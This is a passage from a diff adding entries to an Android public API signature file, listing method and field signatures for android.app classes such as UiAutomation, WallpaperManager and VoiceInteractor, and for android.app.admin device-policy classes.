+    method public android.app.TaskStackBuilder addNextIntentWithParentStack(android.content.Intent);
+    method public android.app.TaskStackBuilder addParentStack(android.app.Activity);
+    method public android.app.TaskStackBuilder addParentStack(Class<?>);
+    method public android.app.TaskStackBuilder addParentStack(android.content.ComponentName);
+    method public static android.app.TaskStackBuilder create(android.content.Context);
+    method public android.content.Intent editIntentAt(int);
+    method public int getIntentCount();
+    method @NonNull public android.content.Intent[] getIntents();
+    method public android.app.PendingIntent getPendingIntent(int, int);
+    method public android.app.PendingIntent getPendingIntent(int, int, android.os.Bundle);
+    method public void startActivities();
+    method public void startActivities(android.os.Bundle);
+  }
+
+  public class TimePickerDialog extends android.app.AlertDialog implements android.content.DialogInterface.OnClickListener android.widget.TimePicker.OnTimeChangedListener {
+    ctor public TimePickerDialog(android.content.Context, android.app.TimePickerDialog.OnTimeSetListener, int, int, boolean);
+    ctor public TimePickerDialog(android.content.Context, int, android.app.TimePickerDialog.OnTimeSetListener, int, int, boolean);
+    method public void onClick(android.content.DialogInterface, int);
+    method public void onTimeChanged(android.widget.TimePicker, int, int);
+    method public void updateTime(int, int);
+  }
+
+  public static interface TimePickerDialog.OnTimeSetListener {
+    method public void onTimeSet(android.widget.TimePicker, int, int);
+  }
+
+  public final class UiAutomation {
+    method public void adoptShellPermissionIdentity();
+    method public void adoptShellPermissionIdentity(@Nullable java.lang.String...);
+    method public void clearWindowAnimationFrameStats();
+    method public boolean clearWindowContentFrameStats(int);
+    method public void dropShellPermissionIdentity();
+    method public android.view.accessibility.AccessibilityEvent executeAndWaitForEvent(Runnable, android.app.UiAutomation.AccessibilityEventFilter, long) throws java.util.concurrent.TimeoutException;
+    method public android.os.ParcelFileDescriptor executeShellCommand(String);
+    method @NonNull public android.os.ParcelFileDescriptor[] executeShellCommandRw(@NonNull String);
+    method public android.view.accessibility.AccessibilityNodeInfo findFocus(int);
+    method public android.view.accessibility.AccessibilityNodeInfo getRootInActiveWindow();
+    method public android.accessibilityservice.AccessibilityServiceInfo getServiceInfo();
+    method public android.view.WindowAnimationFrameStats getWindowAnimationFrameStats();
+    method public android.view.WindowContentFrameStats getWindowContentFrameStats(int);
+    method public java.util.List<android.view.accessibility.AccessibilityWindowInfo> getWindows();
+    method @NonNull public android.util.SparseArray<java.util.List<android.view.accessibility.AccessibilityWindowInfo>> getWindowsOnAllDisplays();
+    method public void grantRuntimePermission(String, String);
+    method public void grantRuntimePermissionAsUser(String, String, android.os.UserHandle);
+    method public boolean injectInputEvent(android.view.InputEvent, boolean);
+    method public boolean performGlobalAction(int);
+    method public void revokeRuntimePermission(String, String);
+    method public void revokeRuntimePermissionAsUser(String, String, android.os.UserHandle);
+    method public void setOnAccessibilityEventListener(android.app.UiAutomation.OnAccessibilityEventListener);
+    method public boolean setRotation(int);
+    method public void setRunAsMonkey(boolean);
+    method public void setServiceInfo(android.accessibilityservice.AccessibilityServiceInfo);
+    method public android.graphics.Bitmap takeScreenshot();
+    method public void waitForIdle(long, long) throws java.util.concurrent.TimeoutException;
+    field public static final int FLAG_DONT_SUPPRESS_ACCESSIBILITY_SERVICES = 1; // 0x1
+    field public static final int FLAG_DONT_USE_ACCESSIBILITY = 2; // 0x2
+    field public static final int ROTATION_FREEZE_0 = 0; // 0x0
+    field public static final int ROTATION_FREEZE_180 = 2; // 0x2
+    field public static final int ROTATION_FREEZE_270 = 3; // 0x3
+    field public static final int ROTATION_FREEZE_90 = 1; // 0x1
+    field public static final int ROTATION_FREEZE_CURRENT = -1; // 0xffffffff
+    field public static final int ROTATION_UNFREEZE = -2; // 0xfffffffe
+  }
+
+  public static interface UiAutomation.AccessibilityEventFilter {
+    method public boolean accept(android.view.accessibility.AccessibilityEvent);
+  }
+
+  public static interface UiAutomation.OnAccessibilityEventListener {
+    method public void onAccessibilityEvent(android.view.accessibility.AccessibilityEvent);
+  }
+
+  public class UiModeManager {
+    method public void disableCarMode(int);
+    method public void enableCarMode(int);
+    method public int getCurrentModeType();
+    method @NonNull public java.time.LocalTime getCustomNightModeEnd();
+    method @NonNull public java.time.LocalTime getCustomNightModeStart();
+    method public int getNightMode();
+    method public void setApplicationNightMode(int);
+    method public void setCustomNightModeEnd(@NonNull java.time.LocalTime);
+    method public void setCustomNightModeStart(@NonNull java.time.LocalTime);
+    method public void setNightMode(int);
+    field public static String ACTION_ENTER_CAR_MODE;
+    field public static String ACTION_ENTER_DESK_MODE;
+    field public static String ACTION_EXIT_CAR_MODE;
+    field public static String ACTION_EXIT_DESK_MODE;
+    field public static final int DISABLE_CAR_MODE_GO_HOME = 1; // 0x1
+    field public static final int ENABLE_CAR_MODE_ALLOW_SLEEP = 2; // 0x2
+    field public static final int ENABLE_CAR_MODE_GO_CAR_HOME = 1; // 0x1
+    field public static final int MODE_NIGHT_AUTO = 0; // 0x0
+    field public static final int MODE_NIGHT_CUSTOM = 3; // 0x3
+    field public static final int MODE_NIGHT_NO = 1; // 0x1
+    field public static final int MODE_NIGHT_YES = 2; // 0x2
+  }
+
+  public final class VoiceInteractor {
+    method public android.app.VoiceInteractor.Request getActiveRequest(String);
+    method public android.app.VoiceInteractor.Request[] getActiveRequests();
+    method public boolean isDestroyed();
+    method public void notifyDirectActionsChanged();
+    method public boolean registerOnDestroyedCallback(@NonNull java.util.concurrent.Executor, @NonNull Runnable);
+    method public boolean submitRequest(android.app.VoiceInteractor.Request);
+    method public boolean submitRequest(android.app.VoiceInteractor.Request, String);
+    method public boolean[] supportsCommands(String[]);
+    method public boolean unregisterOnDestroyedCallback(@NonNull Runnable);
+  }
+
+  public static class VoiceInteractor.AbortVoiceRequest extends android.app.VoiceInteractor.Request {
+    ctor public VoiceInteractor.AbortVoiceRequest(@Nullable android.app.VoiceInteractor.Prompt, @Nullable android.os.Bundle);
+    method public void onAbortResult(android.os.Bundle);
+  }
+
+  public static class VoiceInteractor.CommandRequest extends android.app.VoiceInteractor.Request {
+    ctor public VoiceInteractor.CommandRequest(String, android.os.Bundle);
+    method public void onCommandResult(boolean, android.os.Bundle);
+  }
+
+  public static class VoiceInteractor.CompleteVoiceRequest extends android.app.VoiceInteractor.Request {
+    ctor public VoiceInteractor.CompleteVoiceRequest(@Nullable android.app.VoiceInteractor.Prompt, @Nullable android.os.Bundle);
+    method public void onCompleteResult(android.os.Bundle);
+  }
+
+  public static class VoiceInteractor.ConfirmationRequest extends android.app.VoiceInteractor.Request {
+    ctor public VoiceInteractor.ConfirmationRequest(@Nullable android.app.VoiceInteractor.Prompt, @Nullable android.os.Bundle);
+    method public void onConfirmationResult(boolean, android.os.Bundle);
+  }
+
+  public static class VoiceInteractor.PickOptionRequest extends android.app.VoiceInteractor.Request {
+    ctor public VoiceInteractor.PickOptionRequest(@Nullable android.app.VoiceInteractor.Prompt, android.app.VoiceInteractor.PickOptionRequest.Option[], @Nullable android.os.Bundle);
+    method public void onPickOptionResult(boolean, android.app.VoiceInteractor.PickOptionRequest.Option[], android.os.Bundle);
+  }
+
+  public static final class VoiceInteractor.PickOptionRequest.Option implements android.os.Parcelable {
+    ctor public VoiceInteractor.PickOptionRequest.Option(CharSequence, int);
+    method public android.app.VoiceInteractor.PickOptionRequest.Option addSynonym(CharSequence);
+    method public int countSynonyms();
+    method public int describeContents();
+    method public android.os.Bundle getExtras();
+    method public int getIndex();
+    method public CharSequence getLabel();
+    method public CharSequence getSynonymAt(int);
+    method public void setExtras(android.os.Bundle);
+    method public void writeToParcel(android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.app.VoiceInteractor.PickOptionRequest.Option> CREATOR;
+  }
+
+  public static class VoiceInteractor.Prompt implements android.os.Parcelable {
+    ctor public VoiceInteractor.Prompt(@NonNull CharSequence[], @NonNull CharSequence);
+    ctor public VoiceInteractor.Prompt(@NonNull CharSequence);
+    method public int countVoicePrompts();
+    method public int describeContents();
+    method @NonNull public CharSequence getVisualPrompt();
+    method @NonNull public CharSequence getVoicePromptAt(int);
+    method public void writeToParcel(android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.app.VoiceInteractor.Prompt> CREATOR;
+  }
+
+  public abstract static class VoiceInteractor.Request {
+    method public void cancel();
+    method public android.app.Activity getActivity();
+    method public android.content.Context getContext();
+    method public String getName();
+    method public void onAttached(android.app.Activity);
+    method public void onCancel();
+    method public void onDetached();
+  }
+
+  public final class WallpaperColors implements android.os.Parcelable {
+    ctor public WallpaperColors(android.os.Parcel);
+    ctor public WallpaperColors(@NonNull android.graphics.Color, @Nullable android.graphics.Color, @Nullable android.graphics.Color);
+    ctor public WallpaperColors(@NonNull android.graphics.Color, @Nullable android.graphics.Color, @Nullable android.graphics.Color, int);
+    method public int describeContents();
+    method public static android.app.WallpaperColors fromBitmap(@NonNull android.graphics.Bitmap);
+    method public static android.app.WallpaperColors fromDrawable(android.graphics.drawable.Drawable);
+    method public int getColorHints();
+    method @NonNull public android.graphics.Color getPrimaryColor();
+    method @Nullable public android.graphics.Color getSecondaryColor();
+    method @Nullable public android.graphics.Color getTertiaryColor();
+    method public void writeToParcel(android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.app.WallpaperColors> CREATOR;
+    field public static final int HINT_SUPPORTS_DARK_TEXT = 1; // 0x1
+    field public static final int HINT_SUPPORTS_DARK_THEME = 2; // 0x2
+  }
+
+  public final class WallpaperInfo implements android.os.Parcelable {
+    ctor public WallpaperInfo(android.content.Context, android.content.pm.ResolveInfo) throws java.io.IOException, org.xmlpull.v1.XmlPullParserException;
+    method public int describeContents();
+    method public void dump(android.util.Printer, String);
+    method public android.content.ComponentName getComponent();
+    method public String getPackageName();
+    method public android.content.pm.ServiceInfo getServiceInfo();
+    method public String getServiceName();
+    method public String getSettingsActivity();
+    method @Nullable public android.net.Uri getSettingsSliceUri();
+    method public boolean getShowMetadataInPreview();
+    method public CharSequence loadAuthor(android.content.pm.PackageManager) throws android.content.res.Resources.NotFoundException;
+    method public CharSequence loadContextDescription(android.content.pm.PackageManager) throws android.content.res.Resources.NotFoundException;
+    method public android.net.Uri loadContextUri(android.content.pm.PackageManager) throws android.content.res.Resources.NotFoundException;
+    method public CharSequence loadDescription(android.content.pm.PackageManager) throws android.content.res.Resources.NotFoundException;
+    method public android.graphics.drawable.Drawable loadIcon(android.content.pm.PackageManager);
+    method public CharSequence loadLabel(android.content.pm.PackageManager);
+    method public android.graphics.drawable.Drawable loadThumbnail(android.content.pm.PackageManager);
+    method public boolean supportsMultipleDisplays();
+    method public void writeToParcel(android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.app.WallpaperInfo> CREATOR;
+  }
+
+  public class WallpaperManager {
+    method public void addOnColorsChangedListener(@NonNull android.app.WallpaperManager.OnColorsChangedListener, @NonNull android.os.Handler);
+    method @RequiresPermission(android.Manifest.permission.SET_WALLPAPER) public void clear() throws java.io.IOException;
+    method @RequiresPermission(android.Manifest.permission.SET_WALLPAPER) public void clear(int) throws java.io.IOException;
+    method @RequiresPermission(android.Manifest.permission.SET_WALLPAPER) public void clearWallpaper();
+    method public void clearWallpaperOffsets(android.os.IBinder);
+    method public void forgetLoadedWallpaper();
+    method public android.graphics.drawable.Drawable getBuiltInDrawable();
+    method public android.graphics.drawable.Drawable getBuiltInDrawable(int);
+    method public android.graphics.drawable.Drawable getBuiltInDrawable(int, int, boolean, float, float);
+    method public android.graphics.drawable.Drawable getBuiltInDrawable(int, int, boolean, float, float, int);
+    method public android.content.Intent getCropAndSetWallpaperIntent(android.net.Uri);
+    method public int getDesiredMinimumHeight();
+    method public int getDesiredMinimumWidth();
+    method @RequiresPermission(android.Manifest.permission.READ_EXTERNAL_STORAGE) public android.graphics.drawable.Drawable getDrawable();
+    method @RequiresPermission(android.Manifest.permission.READ_EXTERNAL_STORAGE) public android.graphics.drawable.Drawable getFastDrawable();
+    method public static android.app.WallpaperManager getInstance(android.content.Context);
+    method @Nullable public android.app.WallpaperColors getWallpaperColors(int);
+    method @RequiresPermission(android.Manifest.permission.READ_EXTERNAL_STORAGE) public android.os.ParcelFileDescriptor getWallpaperFile(int);
+    method public int getWallpaperId(int);
+    method public android.app.WallpaperInfo getWallpaperInfo();
+    method public boolean hasResourceWallpaper(@RawRes int);
+    method public boolean isSetWallpaperAllowed();
+    method public boolean isWallpaperSupported();
+    method public android.graphics.drawable.Drawable peekDrawable();
+    method @RequiresPermission(android.Manifest.permission.READ_EXTERNAL_STORAGE) public android.graphics.drawable.Drawable peekFastDrawable();
+    method public void removeOnColorsChangedListener(@NonNull android.app.WallpaperManager.OnColorsChangedListener);
+    method public void sendWallpaperCommand(android.os.IBinder, String, int, int, int, android.os.Bundle);
+    method @RequiresPermission(android.Manifest.permission.SET_WALLPAPER) public void setBitmap(android.graphics.Bitmap) throws java.io.IOException;
+    method @RequiresPermission(android.Manifest.permission.SET_WALLPAPER) public int setBitmap(android.graphics.Bitmap, android.graphics.Rect, boolean) throws java.io.IOException;
+    method @RequiresPermission(android.Manifest.permission.SET_WALLPAPER) public int setBitmap(android.graphics.Bitmap, android.graphics.Rect, boolean, int) throws java.io.IOException;
+    method @RequiresPermission(android.Manifest.permission.SET_WALLPAPER_HINTS) public void setDisplayPadding(android.graphics.Rect);
+    method @RequiresPermission(android.Manifest.permission.SET_WALLPAPER) public void setResource(@RawRes int) throws java.io.IOException;
+    method @RequiresPermission(android.Manifest.permission.SET_WALLPAPER) public int setResource(@RawRes int, int) throws java.io.IOException;
+    method @RequiresPermission(android.Manifest.permission.SET_WALLPAPER) public void setStream(java.io.InputStream) throws java.io.IOException;
+    method @RequiresPermission(android.Manifest.permission.SET_WALLPAPER) public int setStream(java.io.InputStream, android.graphics.Rect, boolean) throws java.io.IOException;
+    method @RequiresPermission(android.Manifest.permission.SET_WALLPAPER) public int setStream(java.io.InputStream, android.graphics.Rect, boolean, int) throws java.io.IOException;
+    method public void setWallpaperOffsetSteps(float, float);
+    method public void setWallpaperOffsets(android.os.IBinder, float, float);
+    method public void suggestDesiredDimensions(int, int);
+    field public static final String ACTION_CHANGE_LIVE_WALLPAPER = "android.service.wallpaper.CHANGE_LIVE_WALLPAPER";
+    field public static final String ACTION_CROP_AND_SET_WALLPAPER = "android.service.wallpaper.CROP_AND_SET_WALLPAPER";
+    field public static final String ACTION_LIVE_WALLPAPER_CHOOSER = "android.service.wallpaper.LIVE_WALLPAPER_CHOOSER";
+    field public static final String COMMAND_DROP = "android.home.drop";
+    field public static final String COMMAND_SECONDARY_TAP = "android.wallpaper.secondaryTap";
+    field public static final String COMMAND_TAP = "android.wallpaper.tap";
+    field public static final String EXTRA_LIVE_WALLPAPER_COMPONENT = "android.service.wallpaper.extra.LIVE_WALLPAPER_COMPONENT";
+    field public static final int FLAG_LOCK = 2; // 0x2
+    field public static final int FLAG_SYSTEM = 1; // 0x1
+    field public static final String WALLPAPER_PREVIEW_META_DATA = "android.wallpaper.preview";
+  }
+
+  public static interface WallpaperManager.OnColorsChangedListener {
+    method public void onColorsChanged(android.app.WallpaperColors, int);
+  }
+
+  public interface ZygotePreload {
+    method public void doPreload(@NonNull android.content.pm.ApplicationInfo);
+  }
+
+}
+
+package android.app.admin {
+
+  public final class ConnectEvent extends android.app.admin.NetworkEvent implements android.os.Parcelable {
+    method public java.net.InetAddress getInetAddress();
+    method public int getPort();
+    method public void writeToParcel(android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.app.admin.ConnectEvent> CREATOR;
+  }
+
+  public class DelegatedAdminReceiver extends android.content.BroadcastReceiver {
+    ctor public DelegatedAdminReceiver();
+    method @Nullable public String onChoosePrivateKeyAlias(@NonNull android.content.Context, @NonNull android.content.Intent, int, @Nullable android.net.Uri, @Nullable String);
+    method public void onNetworkLogsAvailable(@NonNull android.content.Context, @NonNull android.content.Intent, long, @IntRange(from=1) int);
+    method public final void onReceive(@NonNull android.content.Context, @NonNull android.content.Intent);
+    method public void onSecurityLogsAvailable(@NonNull android.content.Context, @NonNull android.content.Intent);
+  }
+
+  public final class DeviceAdminInfo implements android.os.Parcelable {
+    ctor public DeviceAdminInfo(android.content.Context, android.content.pm.ResolveInfo) throws java.io.IOException, org.xmlpull.v1.XmlPullParserException;
+    method public int describeContents();
+    method public void dump(android.util.Printer, String);
+    method public android.content.pm.ActivityInfo getActivityInfo();
+    method @NonNull public android.content.ComponentName getComponent();
+    method public String getPackageName();
+    method public String getReceiverName();
+    method public String getTagForPolicy(int);
+    method public boolean isVisible();
+    method public CharSequence loadDescription(android.content.pm.PackageManager) throws android.content.res.Resources.NotFoundException;
+    method public android.graphics.drawable.Drawable loadIcon(android.content.pm.PackageManager);
+    method public CharSequence loadLabel(android.content.pm.PackageManager);
+    method public boolean supportsTransferOwnership();
+    method public boolean usesPolicy(int);
+    method public void writeToParcel(android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.app.admin.DeviceAdminInfo> CREATOR;
+    field public static final int USES_ENCRYPTED_STORAGE = 7; // 0x7
+    field public static final int USES_POLICY_DISABLE_CAMERA = 8; // 0x8
+    field public static final int USES_POLICY_DISABLE_KEYGUARD_FEATURES = 9; // 0x9
+    field public static final int USES_POLICY_EXPIRE_PASSWORD = 6; // 0x6
+    field public static final int USES_POLICY_FORCE_LOCK = 3; // 0x3
+    field public static final int USES_POLICY_LIMIT_PASSWORD = 0; // 0x0
+    field public static final int USES_POLICY_RESET_PASSWORD = 2; // 0x2
+    field public static final int USES_POLICY_WATCH_LOGIN = 1; // 0x1
+    field public static final int USES_POLICY_WIPE_DATA = 4; // 0x4
+  }
+
+  public class DeviceAdminReceiver extends android.content.BroadcastReceiver {
+    ctor public DeviceAdminReceiver();
+    method @NonNull public android.app.admin.DevicePolicyManager getManager(@NonNull android.content.Context);
+    method @NonNull public android.content.ComponentName getWho(@NonNull android.content.Context);
+    method public void onBugreportFailed(@NonNull android.content.Context, @NonNull android.content.Intent, int);
+    method public void onBugreportShared(@NonNull android.content.Context, @NonNull android.content.Intent, @NonNull String);
+    method public void onBugreportSharingDeclined(@NonNull android.content.Context, @NonNull android.content.Intent);
+    method @Nullable public String onChoosePrivateKeyAlias(@NonNull android.content.Context, @NonNull android.content.Intent, int, @Nullable android.net.Uri, @Nullable String);
+    method public void onComplianceAcknowledgementRequired(@NonNull android.content.Context, @NonNull android.content.Intent);
+    method @Nullable public CharSequence onDisableRequested(@NonNull android.content.Context, @NonNull android.content.Intent);
+    method public void onDisabled(@NonNull android.content.Context, @NonNull android.content.Intent);
+    method public void onEnabled(@NonNull android.content.Context, @NonNull android.content.Intent);
+    method public void onLockTaskModeEntering(@NonNull android.content.Context, @NonNull android.content.Intent, @NonNull String);
+    method public void onLockTaskModeExiting(@NonNull android.content.Context, @NonNull android.content.Intent);
+    method public void onNetworkLogsAvailable(@NonNull android.content.Context, @NonNull android.content.Intent, long, @IntRange(from=1) int);
+    method public void onOperationSafetyStateChanged(@NonNull android.content.Context, int, boolean);
+    method @Deprecated public void onPasswordChanged(@NonNull android.content.Context, @NonNull android.content.Intent);
+    method public void onPasswordChanged(@NonNull android.content.Context, @NonNull android.content.Intent, @NonNull android.os.UserHandle);
+    method @Deprecated public void onPasswordExpiring(@NonNull android.content.Context, @NonNull android.content.Intent);
+    method public void onPasswordExpiring(@NonNull android.content.Context, @NonNull android.content.Intent, @NonNull android.os.UserHandle);
+    method @Deprecated public void onPasswordFailed(@NonNull android.content.Context, @NonNull android.content.Intent);
+    method public void onPasswordFailed(@NonNull android.content.Context, @NonNull android.content.Intent, @NonNull android.os.UserHandle);
+    method @Deprecated public void onPasswordSucceeded(@NonNull android.content.Context, @NonNull android.content.Intent);
+    method public void onPasswordSucceeded(@NonNull android.content.Context, @NonNull android.content.Intent, @NonNull android.os.UserHandle);
+    method public void onProfileProvisioningComplete(@NonNull android.content.Context, @NonNull android.content.Intent);
+    method @Deprecated public void onReadyForUserInitialization(@NonNull android.content.Context, @NonNull android.content.Intent);
+    method public void onReceive(@NonNull android.content.Context, @NonNull android.content.Intent);
+    method public void onSecurityLogsAvailable(@NonNull android.content.Context, @NonNull android.content.Intent);
+    method public void onSystemUpdatePending(@NonNull android.content.Context, @NonNull android.content.Intent, long);
+    method public void onTransferAffiliatedProfileOwnershipComplete(@NonNull android.content.Context, @NonNull android.os.UserHandle);
+    method public void onTransferOwnershipComplete(@NonNull android.content.Context, @Nullable android.os.PersistableBundle);
+    method public void onUserAdded(@NonNull android.content.Context, @NonNull android.content.Intent, @NonNull android.os.UserHandle);
+    method public void onUserRemoved(@NonNull android.content.Context, @NonNull android.content.Intent, @NonNull android.os.UserHandle);
+    method public void onUserStarted(@NonNull android.content.Context, @NonNull android.content.Intent, @NonNull android.os.UserHandle);
+    method public void onUserStopped(@NonNull android.content.Context, @NonNull android.content.Intent, @NonNull android.os.UserHandle);
+    method public void onUserSwitched(@NonNull android.content.Context, @NonNull android.content.Intent, @NonNull android.os.UserHandle);
+    field public static final String ACTION_CHOOSE_PRIVATE_KEY_ALIAS = "android.app.action.CHOOSE_PRIVATE_KEY_ALIAS";
+    field public static final String ACTION_DEVICE_ADMIN_DISABLED = "android.app.action.DEVICE_ADMIN_DISABLED";
+    field public static final String ACTION_DEVICE_ADMIN_DISABLE_REQUESTED = "android.app.action.DEVICE_ADMIN_DISABLE_REQUESTED";
+    field public static final String ACTION_DEVICE_ADMIN_ENABLED = "android.app.action.DEVICE_ADMIN_ENABLED";
+    field public static final String ACTION_LOCK_TASK_ENTERING = "android.app.action.LOCK_TASK_ENTERING";
+    field public static final String ACTION_LOCK_TASK_EXITING = "android.app.action.LOCK_TASK_EXITING";
+    field public static final String ACTION_NETWORK_LOGS_AVAILABLE = "android.app.action.NETWORK_LOGS_AVAILABLE";
+    field public static final String ACTION_PASSWORD_CHANGED = "android.app.action.ACTION_PASSWORD_CHANGED";
+    field public static final String ACTION_PASSWORD_EXPIRING = "android.app.action.ACTION_PASSWORD_EXPIRING";
+    field public static final String ACTION_PASSWORD_FAILED = "android.app.action.ACTION_PASSWORD_FAILED";
+    field public static final String ACTION_PASSWORD_SUCCEEDED = "android.app.action.ACTION_PASSWORD_SUCCEEDED";
+    field public static final String ACTION_PROFILE_PROVISIONING_COMPLETE = "android.app.action.PROFILE_PROVISIONING_COMPLETE";
+    field public static final String ACTION_SECURITY_LOGS_AVAILABLE = "android.app.action.SECURITY_LOGS_AVAILABLE";
+    field public static final int BUGREPORT_FAILURE_FAILED_COMPLETING = 0; // 0x0
+    field public static final int BUGREPORT_FAILURE_FILE_NO_LONGER_AVAILABLE = 1; // 0x1
+    field public static final String DEVICE_ADMIN_META_DATA = "android.app.device_admin";
+    field public static final String EXTRA_DISABLE_WARNING = "android.app.extra.DISABLE_WARNING";
+    field public static final String EXTRA_LOCK_TASK_PACKAGE = "android.app.extra.LOCK_TASK_PACKAGE";
+    field public static final String EXTRA_TRANSFER_OWNERSHIP_ADMIN_EXTRAS_BUNDLE = "android.app.extra.TRANSFER_OWNERSHIP_ADMIN_EXTRAS_BUNDLE";
+  }
+
+  public class DeviceAdminService extends android.app.Service {
+    ctor public DeviceAdminService();
+    method public final android.os.IBinder onBind(android.content.Intent);
+  }
+
+  public class DevicePolicyManager {
+    method public void acknowledgeDeviceCompliant();
+    method public void addCrossProfileIntentFilter(@NonNull android.content.ComponentName, android.content.IntentFilter, int);
+    method public boolean addCrossProfileWidgetProvider(@NonNull android.content.ComponentName, String);
+    method public int addOverrideApn(@NonNull android.content.ComponentName, @NonNull android.telephony.data.ApnSetting);
+    method public void addPersistentPreferredActivity(@NonNull android.content.ComponentName, android.content.IntentFilter, @NonNull android.content.ComponentName);
+    method public void addUserRestriction(@NonNull android.content.ComponentName, String);
+    method public boolean bindDeviceAdminServiceAsUser(@NonNull android.content.ComponentName, android.content.Intent, @NonNull android.content.ServiceConnection, int, @NonNull android.os.UserHandle);
+    method public boolean canAdminGrantSensorsPermissions();
+    method public boolean canUsbDataSignalingBeDisabled();
+    method public void clearApplicationUserData(@NonNull android.content.ComponentName, @NonNull String, @NonNull java.util.concurrent.Executor, @NonNull android.app.admin.DevicePolicyManager.OnClearApplicationUserDataListener);
+    method public void clearCrossProfileIntentFilters(@NonNull android.content.ComponentName);
+    method @Deprecated public void clearDeviceOwnerApp(String);
+    method public void clearPackagePersistentPreferredActivities(@NonNull android.content.ComponentName, String);
+    method @Deprecated public void clearProfileOwner(@NonNull android.content.ComponentName);
+    method public boolean clearResetPasswordToken(android.content.ComponentName);
+    method public void clearUserRestriction(@NonNull android.content.ComponentName, String);
+    method public android.content.Intent createAdminSupportIntent(@NonNull String);
+    method @Nullable public android.os.UserHandle createAndManageUser(@NonNull android.content.ComponentName, @NonNull String, @NonNull android.content.ComponentName, @Nullable android.os.PersistableBundle, int);
+    method public void enableSystemApp(@NonNull android.content.ComponentName, String);
+    method public int enableSystemApp(@NonNull android.content.ComponentName, android.content.Intent);
+    method public android.security.AttestedKeyPair generateKeyPair(@Nullable android.content.ComponentName, @NonNull String, @NonNull android.security.keystore.KeyGenParameterSpec, int);
+    method @Nullable public String[] getAccountTypesWithManagementDisabled();
+    method @Nullable public java.util.List<android.content.ComponentName> getActiveAdmins();
+    method @NonNull public java.util.Set<java.lang.String> getAffiliationIds(@NonNull android.content.ComponentName);
+    method @Nullable public java.util.Set<java.lang.String> getAlwaysOnVpnLockdownWhitelist(@NonNull android.content.ComponentName);
+    method @Nullable public String getAlwaysOnVpnPackage(@NonNull android.content.ComponentName);
+    method @NonNull @WorkerThread public android.os.Bundle getApplicationRestrictions(@Nullable android.content.ComponentName, String);
+    method @Deprecated @Nullable public String getApplicationRestrictionsManagingPackage(@NonNull android.content.ComponentName);
+    method public boolean getAutoTimeEnabled(@NonNull android.content.ComponentName);
+    method @Deprecated public boolean getAutoTimeRequired();
+    method public boolean getAutoTimeZoneEnabled(@NonNull android.content.ComponentName);
+    method @NonNull public java.util.List<android.os.UserHandle> getBindDeviceAdminTargetUsers(@NonNull android.content.ComponentName);
+    method public boolean getBluetoothContactSharingDisabled(@NonNull android.content.ComponentName);
+    method public boolean getCameraDisabled(@Nullable android.content.ComponentName);
+    method @Deprecated @Nullable public String getCertInstallerPackage(@NonNull android.content.ComponentName) throws java.lang.SecurityException;
+    method @Nullable public java.util.Set<java.lang.String> getCrossProfileCalendarPackages(@NonNull android.content.ComponentName);
+    method public boolean getCrossProfileCallerIdDisabled(@NonNull android.content.ComponentName);
+    method public boolean getCrossProfileContactsSearchDisabled(@NonNull android.content.ComponentName);
+    method @NonNull public java.util.Set<java.lang.String> getCrossProfilePackages(@NonNull android.content.ComponentName);
+    method @NonNull public java.util.List<java.lang.String> getCrossProfileWidgetProviders(@NonNull android.content.ComponentName);
+    method public int getCurrentFailedPasswordAttempts();
+    method @Nullable public java.util.List<java.lang.String> getDelegatePackages(@NonNull android.content.ComponentName, @NonNull String);
+    method @NonNull public java.util.List<java.lang.String> getDelegatedScopes(@Nullable android.content.ComponentName, @NonNull String);
+    method public CharSequence getDeviceOwnerLockScreenInfo();
+    method public CharSequence getEndUserSessionMessage(@NonNull android.content.ComponentName);
+    method @NonNull public String getEnrollmentSpecificId();
+    method @Nullable public android.app.admin.FactoryResetProtectionPolicy getFactoryResetProtectionPolicy(@Nullable android.content.ComponentName);
+    method @Nullable public String getGlobalPrivateDnsHost(@NonNull android.content.ComponentName);
+    method public int getGlobalPrivateDnsMode(@NonNull android.content.ComponentName);
+    method @NonNull public java.util.List<byte[]> getInstalledCaCerts(@Nullable android.content.ComponentName);
+    method @Nullable public java.util.List<java.lang.String> getKeepUninstalledPackages(@Nullable android.content.ComponentName);
+    method @NonNull public java.util.Map<java.lang.Integer,java.util.Set<java.lang.String>> getKeyPairGrants(@NonNull String);
+    method public int getKeyguardDisabledFeatures(@Nullable android.content.ComponentName);
+    method public int getLockTaskFeatures(@NonNull android.content.ComponentName);
+    method @NonNull public String[] getLockTaskPackages(@NonNull android.content.ComponentName);
+    method @Nullable public CharSequence getLongSupportMessage(@NonNull android.content.ComponentName);
+    method public long getManagedProfileMaximumTimeOff(@NonNull android.content.ComponentName);
+    method public int getMaximumFailedPasswordsForWipe(@Nullable android.content.ComponentName);
+    method public long getMaximumTimeToLock(@Nullable android.content.ComponentName);
+    method @NonNull public java.util.List<java.lang.String> getMeteredDataDisabledPackages(@NonNull android.content.ComponentName);
+    method public int getNearbyAppStreamingPolicy();
+    method public int getNearbyNotificationStreamingPolicy();
+    method @Deprecated @ColorInt public int getOrganizationColor(@NonNull android.content.ComponentName);
+    method @Nullable public CharSequence getOrganizationName(@NonNull android.content.ComponentName);
+    method public java.util.List<android.telephony.data.ApnSetting> getOverrideApns(@NonNull android.content.ComponentName);
+    method @NonNull public android.app.admin.DevicePolicyManager getParentProfileInstance(@NonNull android.content.ComponentName);
+    method @RequiresPermission(android.Manifest.permission.REQUEST_PASSWORD_COMPLEXITY) public int getPasswordComplexity();
+    method public long getPasswordExpiration(@Nullable android.content.ComponentName);
+    method public long getPasswordExpirationTimeout(@Nullable android.content.ComponentName);
+    method public int getPasswordHistoryLength(@Nullable android.content.ComponentName);
+    method public int getPasswordMaximumLength(int);
+    method @Deprecated public int getPasswordMinimumLength(@Nullable android.content.ComponentName);
+    method @Deprecated public int getPasswordMinimumLetters(@Nullable android.content.ComponentName);
+    method @Deprecated public int getPasswordMinimumLowerCase(@Nullable android.content.ComponentName);
+    method @Deprecated public int getPasswordMinimumNonLetter(@Nullable android.content.ComponentName);
+    method @Deprecated public int getPasswordMinimumNumeric(@Nullable android.content.ComponentName);
+    method @Deprecated public int getPasswordMinimumSymbols(@Nullable android.content.ComponentName);
+    method @Deprecated public int getPasswordMinimumUpperCase(@Nullable android.content.ComponentName);
